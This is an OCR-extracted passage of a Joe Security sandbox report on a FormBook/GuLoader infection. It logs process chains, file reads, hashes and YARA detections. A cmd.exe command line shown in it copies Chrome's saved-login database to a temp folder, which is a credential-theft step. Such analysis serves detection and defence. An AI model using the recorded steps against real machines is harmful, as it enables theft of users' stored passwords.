efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
Copyright Joe Security LLC 2022

unknown
unknown
unknown

unknown

unknown
unknown
unknown

unknown

unknown

unknown

Ascii Completion Count Source Address

PSMODULECACHEYC:\  success or wait 1 6C7A1B4F

Program Files

(x86)\WindowsPowerShel

\Modul

es\PowerShellGet\1.0.0.1

\Power

ShellGet.psd1Uninstall-

Moduleinmofimolnstall-

ModuleNew-scr

iptFilelnfoPublish-

Modulelnstall-Sc

Microsoft.PowerShell.Utili = success or wait 1 6C7A1B4F

ty\M

icrosoft.PowerShell. Utility

.psdilmRemove-

VariableConvert-Stri

ngTrace-CommandSort-

ObjectRegister-

ObjectEventGet-

RunspaceFormat-

TableWait-DebuggerGet-

Runspac
Length Completion Count Source Address
4095 success or wait 1 6D835705
8173 end of file 1 6D835705
4095 success or wait 1 6D835705
6135 success or wait 1 6D835705
176 success or wait 1 6D7903DE
4095 success or wait 1 6D83CA54
8173 end of file 1 6D83CA54
4095 success or wait 1 6D83CA54
900 success or wait 1 6D7903DE
620 success or wait 1 6D7903DE
4095 success or wait 1 6D835705

Symbol

WriteFile

WriteFile

Symbol

unknown
unknown
unknown
unknown

ReadFile

ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

unknown
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File Path

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4
9f6405#\ccc7c82770f93d1392abde4be3a80378\Microsoft. Managemen
t.Infrastructure.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio
n.ni.dll.aux

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1l

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
O\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
O\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
O\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
ef\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

Copyright Joe Security LLC 2022

Offset

unknown
unknown
unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
8173
4095
8173
748

748

4095

8171
64

864

4096

492

4096

4096

74

4096

4096

4096

4096

4096

4096

682

4096

4096

289

4096

4096

993

4096

4096

637

4096

4096

637

4096

128

Completion
end of file
success or wait
end of file

success or wait

success or wait

success or wait

end of file

success or wait

success or wait

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

end of file

Count Source Address

139

6D835705
6D835705
6D835705
6D7903DE

6D7903DE

6D835705

6D835705
6D841F73

6D7903DE

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1B4F

6C7A1BAF

6C7A1BAF

6C7A1B4AF

6C7A1B4AF

6C7A1BAF

6C7A1BAF

6C7A1B4AF

6C7A1B4AF

Symbol

unknown
unknown
unknown

ReadFile

ReadFile

unknown

unknown

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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File Path

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1
C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.dll

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell. Management.psd1

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length

4096

4096
4096

534

4096

4096

534

Analysis Process: conhost.exe PID: 6156, Parent PID: 4676

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

17:24:28

21/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff724c50000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Analysis Process: csc.exe PID: 6440, Parent PID: 4676

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

File Created

File Path

c:\Users\user\AppData\Local\Te
mp\vsdke30k\CSC2B92EBAA3FFD4AC

6819286896BCEF79.TMP

File Deleted

File Path

17:24:59
21/01/2022
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

true

Completion

end of file

success or wait

success or wait

end of file

end of file

success or wait

end of file

Count Source Address Symbol

1 6C7A1B4F ReadFile
1 6C7A1B4F ReadFile
1 6C7A1B4F ReadFile
1 6C7A1B4F ReadFile
1 6C7A1B4F ReadFile
1 6C7A1B4F ReadFile
1 6C7A1B4F ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.cmdline

0xe60000

2170976 bytes
350C52F71BDED7B99668585C15D70EEA
true

true

.Net C# or VB.NET

moderate

Access Attributes Options

read attributes |  device
synchronize |

generic write

non alert | non
directory file

C:\Users\user\AppData\Local\Temp\vsdke30k\CSC2B92EBAA3FFD4AC6819286896BCEF79.TMP

File Written

Copyright Joe Security LLC 2022

synchronous io

Completion

success or wait

Completion

success or wait

Count Source Address

1 EBE1E9

Count Source Address

1 ED9793

Symbol

CreateFilew

Symbol

DeleteFilew
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File Path

C:\Users\user\AppData\Local\Te 0 652
mp\vsdke30k\CSC2B92EBAA3FFD4A
C6819286896BCEF79.TMP

File Read
File Path

C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.cmdline

C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.0.cs

Offset Length Value Ascii Completion Count Source Address Symbol

00 00 00 00 20 00 00 00 WriteFile
fd fd 00 00 fd fd 00 00 00 FO?DVarFile
00 00 00 00 00 00 00 00  Info$TranslationStringFile
00 00 00 00 0000 00 4c  Inf
02 00 00 3c 00 00 00 fd

fd 10 00 fd fd 01 00 00 00

00 00 30 00 00 00 00 00

00 00 00 00 00 00 4c 02

34 00 00 00 56 00 53 00

5f 00 56 00 45 00 52 00

53 00 49 00 4f 00 4e 00

5f 00 49 00 4e 00 46 00

4f 00 00 00 00 00 fd 04 fd

fd 00 00 01 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 3f 00 00

00 00 00 00 00 04 00 00

00 02 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 44 00 00 00 01 00 56

00 61 00 72 00 46 00 69

00 6¢ 00 65 00 49 00 6e

00 66 00 6f 00 00 00 00

00 24 00 04 00 00 00 54

00 72 00 61 00 6e 00 73

00 6¢ 00 61 00 74 00 69

00 6f 00 6e 00 00 00 00

00 00 00 fd 04 fd 01 00

00 01 00 53 00 74 00 72

00 69 00 6e 00 67 00 46

00 69 00 6¢ 00 65 00 49

00 6e 00 66

L<OL4VS_VERSION_IN  success or wait 1 ED967F

Offset Length Completion Count Source Address Symbol

unknown 369 success or wait 1 EBE638 ReadFile

unknown 681 success or wait 1 EBEG638 ReadFile

Analysis Process: cvtres.exe PID: 6080, Parent PID: 6440

General
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

17:25:00

21/01/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe
true

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 “/OUT:C:\Users\user\AppData\Loca\Temp\RE
S6913.tmp" “c:\Users\user\AppData\Local\Temp\vsdke30k\CSC2B92EBAA3FFD4AC6819286896BCEF79.TMP"

0x1170000

43176 bytes
CO09985AE74F0882F208D75DE27770DFA
true

true

C, C++ or other language

moderate

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol
File Path Offset Length Value Ascii Completion Count Source Address Symbol
File Path Offset Length Completion Count Source Address Symbol
Analysis Process: ieinstal.exe PID: 5480, Parent PID: 4676
General
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Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

17:25:31

21/01/2022

C:\Program Files (x86)\Internet Explorer\ieinstal.exe
true

C:\Program Files (x86)\internet explorenieinstal.exe

Imagebase: 0x190000

File size: 480256 bytes

MDS5 hash: DAD17AB737E680C47C8A44CBB95EE67E
Has elevated privileges: true

Has administrator true

privileges:

Programmed in:

Yara matches: .

Reputation:

File Activities

File Created
File Path

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Mi

crosoft\Windows\INetCache

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies

File Read

File Path

C:\Windows\SysWOWe64\ntdll.dll

Copyright Joe Security LLC 2022

C, C++ or other language

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000013.00000002.1065437367.000000001E680000.00000040.00020000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000013.00000002.1065437367.000000001E680000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source: 00000013.00000002.1065437367.000000001E680000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000013.00000000.950104658.0000000002A00000.00000040.00000001.sdmp, Author: Joe Security
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000013.00000002.1060812859.0000000002770000.00000040.00020000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000013.00000002.1060812859.0000000002770000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source: 00000013.00000002.1060812859.0000000002770000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

moderate

Access

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

Attributes

device | sparse
file

device | sparse
file

device | sparse
file

device | sparse
file

device | sparse
file

device | sparse
file

Offset

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Length

1622408

Completion

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

Completion

success or wait

Count Source Address

1

Count Source Address

1

2A062B1

2A062B1

2A062B1

2A062B1

2A062B1

2A062B1

41A457

Symbol

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen
UrlA

Symbol

NtReadFile
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Analysis Process: explorer.exe PID: 3424, Parent PID: 5480

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Read
File Path

C:\Users\user\AppData\Roaming\LQM-8D39\LQMlogri.ini
C:\Users\user\AppData\Roaming\LQM-8D39\LQMlogrg.ini
C:\Users\user\AppData\Roaming\LQM-8D39\LQMlIogrv.ini
C:\Users\user\AppData\Roaming\LQM-8D39\LQMIlogim.jpeg

17:25:55

21/01/2022

C:\Windows\explorer.exe

false

C:\Windows\Explorer.EXE

0x7ff6fee60000

3933184 bytes
AD5296B280E8F522A8A897C96BABOE1D
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000015.00000000.1041249654.00000000068E8000.00000040.00020000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000015.00000000.1041249654.00000000068E8000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000000.1041249654.00000000068E8000.00000040.00020000.sdmp,

Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000015.00000000.1025559293.00000000068E8000.00000040.00020000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000015.00000000.1025559293.00000000068E8000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000000.1025559293.00000000068E8000.00000040.00020000.sdmp,

Author: JPCERT/CC Incident Response Group
high

Offset

o o o o

Analysis Process: svchost.exe PID: 5288, Parent PID: 3424

General
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

17:26:20

21/01/2022
C:\Windows\SysWOW&64\svchost.exe

true

C:\Windows\SysWOW64\svchost.exe
0x8f0000

44520 bytes
FA6C268A5B5BDA067A901764D203D433
true

true

C, C++ or other language

Copyright Joe Security LLC 2022

Length
40

38

210
106730

Completion

success or wait
success or wait
success or wait

success or wait

Count

N

Source Address
6B47604
6B47604
6B47604
6B47604

Symbol

NtReadFile
NtReadFile
NtReadFile

NtReadFile
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Yara matches:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000016.00000002.1182719160.0000000002970000.00000004.00000001.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000016.00000002.1182719160.0000000002970000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: 00000016.00000002.1182719160.0000000002970000.00000004.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000016.00000002.1181818454.00000000006C0000.00000040.00020000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000016.00000002.1181818454.00000000006C0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: 00000016.00000002.1181818454.00000000006C0000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000016.00000002.1182689732.0000000002940000.00000040.00020000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000016.00000002.1182689732.0000000002940000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: 00000016.00000002.1182689732.0000000002940000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

Reputation: high

File Activities

File Path Access Attributes Options Completion Count Source Address Symbol
File Path Offset Length Value Ascii Completion Count Source Address Symbol
File Read

File Path Offset Length Completion Count Source Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 6DA457 NtReadFile

Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

Analysis Process: cmd.exe PID: 1584, Parent PID: 5288

General

Start time: 17:26:34

Start date: 21/01/2022

Path: C:\Windows\SyswOWwe64\cmd.exe

Wow64 process (32bit): true

Commandline: /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" “C:\Users\user\AppData\Loca\Temp\DB1" /V

Imagebase: 0x11d0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\DB1 read data or list  device sequential only |  success or wait 1 11D4E97 CopyFileEx
directory | read non directory file W

File Written

Copyright Joe Security LLC 2022

attributes |
delete | write dac
| synchronize |
generic read |
generic write
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File Path

C:\Users\user\AppData\Local\Te 0

mp\DB1

File Read
File Path

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login

Data

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login

Data

C:\Users\user\AppData\Local\Temp\DB1

Offset Length Value Ascii

40960 53 51 4c 69 74 65 20 66
6f 72 6d 61 74 20 33 00
08 00 01 01 00 40 20 20
00 00 00 01 00 00 00 14
00 00 00 00 00 00 00 00
00 00 00 Ob 00 00 00 04
00 00 00 00 00 00 00 00
00 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 01
00 2e 43 fd 05 00 00 00
01 07 fd 00 00 00 00 10
07 fd 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

SQLite format 3@ .C

Offset Length

unknown 512
65024

unknown

unknown 40960

Analysis Process: conhost.exe PID: 5568, Parent PID: 1584

General
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

Disassembly

@ No disassembly

17:26:35

21/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff724¢50000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Copyright Joe Security LLC 2022

Completion

success or wait

Completion

success or wait

success or wait

success or wait

Count Source Address

1 11D4E97

Count Source Address

1 11D5742
1 11E8CA9
1 11E8CD3

Symbol

CopyFileExW

Symbol

ReadFile

ReadFile

ReadFile
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